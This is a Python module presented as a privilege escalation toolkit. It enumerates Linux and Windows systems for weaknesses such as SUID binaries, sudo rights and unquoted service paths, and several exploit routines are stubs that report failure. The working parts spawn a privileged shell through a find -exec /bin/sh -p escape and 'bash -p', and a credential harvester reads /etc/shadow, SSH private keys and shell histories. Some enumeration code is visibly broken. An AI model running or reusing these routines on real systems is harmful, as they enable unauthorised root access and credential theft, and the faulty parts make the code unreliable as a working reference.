#!/usr/bin/env python3
"""
Privilege Escalation Tools - Linux, Windows, Kernel exploits, credential harvesting
"""

import subprocess
import json
import re
from typing import Dict, List
import logging
import base64

logger = logging.getLogger(__name__)


class LinuxPrivEsc:
    """Linux privilege escalation"""
    
    def __init__(self, config: Dict):
        self.config = config
    
    def enumerate(self) -> Dict:
        """Enumerate Linux system for privilege escalation vectors"""
        logger.info("Enumerating Linux system")
        
        info = {
            "os": "linux",
            "kernel_version": self._get_kernel_version(),
            "suid_binaries": self._find_suid_binaries(),
            "sudo_permissions": self._check_sudo(),
            "writable_paths": self._find_writable_paths(),
            "cron_jobs": self._check_cron_jobs(),
            "capabilities": self._check_capabilities()
        }
        
        return info
    
    def _get_kernel_version(self) -> str:
        """Get kernel version"""
        try:
            result = subprocess.run(
                ['uname', '-r'],
                capture_output=True,
                text=True,
                timeout=5
            )
            return result.stdout.strip()
        except:
            return "unknown"
    
    def _find_suid_binaries(self) -> List[str]:
        """Find SUID binaries"""
        logger.info("Searching for SUID binaries")
        
        suid_bins = []
        
        try:
            cmd = 'find / -perm -4000 -type f 2>/dev/null'
            result = subprocess.run(
                cmd,
                shell=True,
                capture_output=True,
                text=True,
                timeout=60
            )
            
            suid_bins = result.stdout.strip().split('\n')
        except Exception as e:
            logger.error(f"SUID search error: {e}")
        
        return suid_bins
    
    def _check_sudo(self) -> List[str]:
        """Check sudo permissions"""
        try:
            result = subprocess.run(
                ['sudo', '-l'],
                capture_output=True,
                text=True,
                timeout=5
            )
            
            return result.stdout.strip().split('\n')
        except:
            return []
    
    def _find_writable_paths(self) -> List[str]:
        """Find writable paths in $PATH"""
        writable = []
        
        try:
            paths = subprocess.run(
                ['echo', '$PATH'],
                capture_output=True,
                text=True,
                shell=True
            ).stdout.strip().split(':')
            
            for path in paths:
                if subprocess.run(['test', '-w', path]).returncode == 0:
                    writable.append(path)
        except:
            pass
        
        return writable
    
    def _check_cron_jobs(self) -> List[str]:
        """Check cron jobs"""
        cron_files = [
            '/etc/crontab',
            '/etc/cron.d/*',
            '/var/spool/cron/crontabs/*'
        ]
        
        jobs = []
        
        for cron_file in cron_files:
            try:
                with open(cron_file, 'r') as f:
                    jobs.extend(f.readlines())
            except:
                continue
        
        return jobs
    
    def _check_capabilities(self) -> List[str]:
        """Check file capabilities"""
        try:
            result = subprocess.run(
                ['getcap', '-r', '/', '2>/dev/null'],
                capture_output=True,
                text=True,
                timeout=60,
                shell=True
            )
            
            return result.stdout.strip().split('\n')
        except:
            return []
    
    def exploit_suid(self, binary: str) -> Dict:
        """Exploit SUID binary"""
        logger.info(f"Attempting SUID exploit: {binary}")
        
        result = {
            "success": False,
            "technique": "suid_exploitation",
            "binary": binary
        }
        
        # Known SUID exploits
        exploits = {
            '/usr/bin/cp': self._exploit_cp,
            '/usr/bin/mv': self._exploit_mv,
            '/usr/bin/find': self._exploit_find,
            '/usr/bin/vim': self._exploit_vim,
            '/usr/bin/nano': self._exploit_nano,
            '/bin/bash': self._exploit_bash
        }
        
        if binary in exploits:
            try:
                result = exploits[binary]()
            except Exception as e:
                result["error"] = str(e)
        
        return result
    
    def _exploit_find(self) -> Dict:
        """Exploit find SUID"""
        try:
            cmd = 'find . -exec /bin/sh -p \\; -quit'
            result = subprocess.run(
                cmd,
                shell=True,
                capture_output=True,
                text=True,
                timeout=10
            )
            
            return {
                "success": True,
                "technique": "find_suid",
                "shell_obtained": True
            }
        except:
            return {"success": False}
    
    def _exploit_vim(self) -> Dict:
        """Exploit vim SUID"""
        return {"success": False, "message": "Vim SUID exploitation placeholder"}
    
    def _exploit_nano(self) -> Dict:
        """Exploit nano SUID"""
        return {"success": False, "message": "Nano SUID exploitation placeholder"}
    
    def _exploit_cp(self) -> Dict:
        """Exploit cp SUID"""
        return {"success": False, "message": "CP SUID exploitation placeholder"}
    
    def _exploit_mv(self) -> Dict:
        """Exploit mv SUID"""
        return {"success": False, "message": "MV SUID exploitation placeholder"}
    
    def _exploit_bash(self) -> Dict:
        """Exploit bash SUID"""
        try:
            cmd = 'bash -p'
            result = subprocess.run(
                cmd,
                shell=True,
                capture_output=True,
                text=True,
                timeout=10
            )
            
            return {
                "success": True,
                "technique": "bash_suid",
                "shell_obtained": True
            }
        except:
            return {"success": False}
    
    def exploit_path_hijacking(self, writable_path: str) -> Dict:
        """Exploit PATH hijacking"""
        logger.info(f"Attempting PATH hijacking: {writable_path}")
        
        return {
            "success": False,
            "message": "PATH hijacking exploitation placeholder"
        }


class WindowsPrivEsc:
    """Windows privilege escalation"""
    
    def __init__(self, config: Dict):
        self.config = config
    
    def enumerate(self) -> Dict:
        """Enumerate Windows system"""
        logger.info("Enumerating Windows system")
        
        info = {
            "os": "windows",
            "version": self._get_windows_version(),
            "services": self._enumerate_services(),
            "always_install_elevated": self._check_always_install_elevated(),
            "unquoted_service_paths": self._find_unquoted_paths(),
            "privileges": self._check_privileges()
        }
        
        return info
    
    def _get_windows_version(self) -> str:
        """Get Windows version"""
        try:
            result = subprocess.run(
                ['ver'],
                capture_output=True,
                text=True,
                shell=True,
                timeout=5
            )
            return result.stdout.strip()
        except:
            return "unknown"
    
    def _enumerate_services(self) -> List[Dict]:
        """Enumerate Windows services"""
        services = []
        
        try:
            result = subprocess.run(
                ['sc', 'query'],
                capture_output=True,
                text=True,
                timeout=30
            )
            
            # Parse service output
            for line in result.stdout.split('\n'):
                if 'SERVICE_NAME:' in line:
                    services.append({"name": line.split(':')[1].strip()})
        except:
            pass
        
        return services
    
    def _check_always_install_elevated(self) -> bool:
        """Check AlwaysInstallElevated registry key"""
        try:
            # Check both HKLM and HKCU
            keys = [
                r'HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer',
                r'HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer'
            ]
            
            for key in keys:
                result = subprocess.run(
                    ['reg', 'query', key, '/v', 'AlwaysInstallElevated'],
                    capture_output=True,
                    text=True
                )
                
                if '0x1' in result.stdout:
                    return True
        except:
            pass
        
        return False
    
    def _find_unquoted_paths(self) -> List[str]:
        """Find unquoted service paths"""
        unquoted = []
        
        try:
            result = subprocess.run(
                ['wmic', 'service', 'get', 'name,pathname,displayname,startmode'],
                capture_output=True,
                text=True,
                timeout=30
            )
            
            for line in result.stdout.split('\n'):
                if 'C:\\' in line and line.count('"') < 2:
                    unquoted.append(line)
        except:
            pass
        
        return unquoted
    
    def _check_privileges(self) -> List[str]:
        """Check current user privileges"""
        try:
            result = subprocess.run(
                ['whoami', '/priv'],
                capture_output=True,
                text=True,
                timeout=10
            )
            
            return result.stdout.strip().split('\n')
        except:
            return []
    
    def exploit_service(self, service: Dict) -> Dict:
        """Exploit service misconfiguration"""
        logger.info(f"Attempting service exploitation: {service.get('name')}")
        
        return {
            "success": False,
            "message": "Windows service exploitation placeholder"
        }
    
    def exploit_msi(self) -> Dict:
        """Exploit AlwaysInstallElevated"""
        logger.info("Attempting AlwaysInstallElevated exploitation")
        
        # Generate malicious MSI
        # This would create and install a privileged MSI package
        
        return {
            "success": False,
            "message": "AlwaysInstallElevated exploitation placeholder"
        }
    
    def impersonate_token(self) -> Dict:
        """Token impersonation attack"""
        logger.info("Attempting token impersonation")
        
        return {
            "success": False,
            "message": "Token impersonation placeholder"
        }


class KernelExploiter:
    """Kernel exploitation"""
    
    def __init__(self, config: Dict):
        self.config = config
    
    def exploit_linux(self, kernel_version: str) -> Dict:
        """Exploit Linux kernel"""
        logger.info(f"Attempting kernel exploit: {kernel_version}")
        
        # Map kernel versions to known exploits
        exploits = {
            'DirtyCow': ['2.6.22', '4.8.3'],
            'OverlayFS': ['3.13.0', '4.3.3']
        }
        
        return {
            "success": False,
            "message": "Kernel exploitation requires specific exploit compilation"
        }


class MisconfigFinder:
    """Find misconfigurations"""
    
    def __init__(self, config: Dict):
        self.config = config
    
    def find(self, os_type: str) -> List[Dict]:
        """Find security misconfigurations"""
        if os_type == "linux":
            return self._find_linux_misconfigs()
        elif os_type == "windows":
            return self._find_windows_misconfigs()
        return []
    
    def _find_linux_misconfigs(self) -> List[Dict]:
        """Find Linux misconfigurations"""
        return []
    
    def _find_windows_misconfigs(self) -> List[Dict]:
        """Find Windows misconfigurations"""
        return []


class CredentialHarvester:
    """Harvest credentials"""
    
    def __init__(self, config: Dict):
        self.config = config
    
    def harvest_linux(self) -> List[Dict]:
        """Harvest Linux credentials"""
        logger.info("Harvesting Linux credentials")
        
        credentials = []
        
        # Check common credential locations
        locations = [
            '/etc/shadow',
            '/etc/passwd',
            '~/.ssh/id_rsa',
            '~/.bash_history',
            '~/.mysql_history'
        ]
        
        for location in locations:
            try:
                with open(location, 'r') as f:
                    credentials.append({
                        "source": location,
                        "data": f.read()[:500]
                    })
            except:
                continue
        
        return credentials
    
    def harvest_windows(self) -> List[Dict]:
        """Harvest Windows credentials"""
        logger.info("Harvesting Windows credentials")
        
        # Use mimikatz or similar tools
        # Placeholder for demonstration
        
        return []


class SudoExploiter:
    """Sudo exploitation"""
    
    def __init__(self, config: Dict):
        self.config = config
    
    def exploit(self, sudo_permission: str) -> Dict:
        """Exploit sudo permission"""
        logger.info(f"Attempting sudo exploit: {sudo_permission}")
        
        return {
            "success": False,
            "message": "Sudo exploitation placeholder"
        }
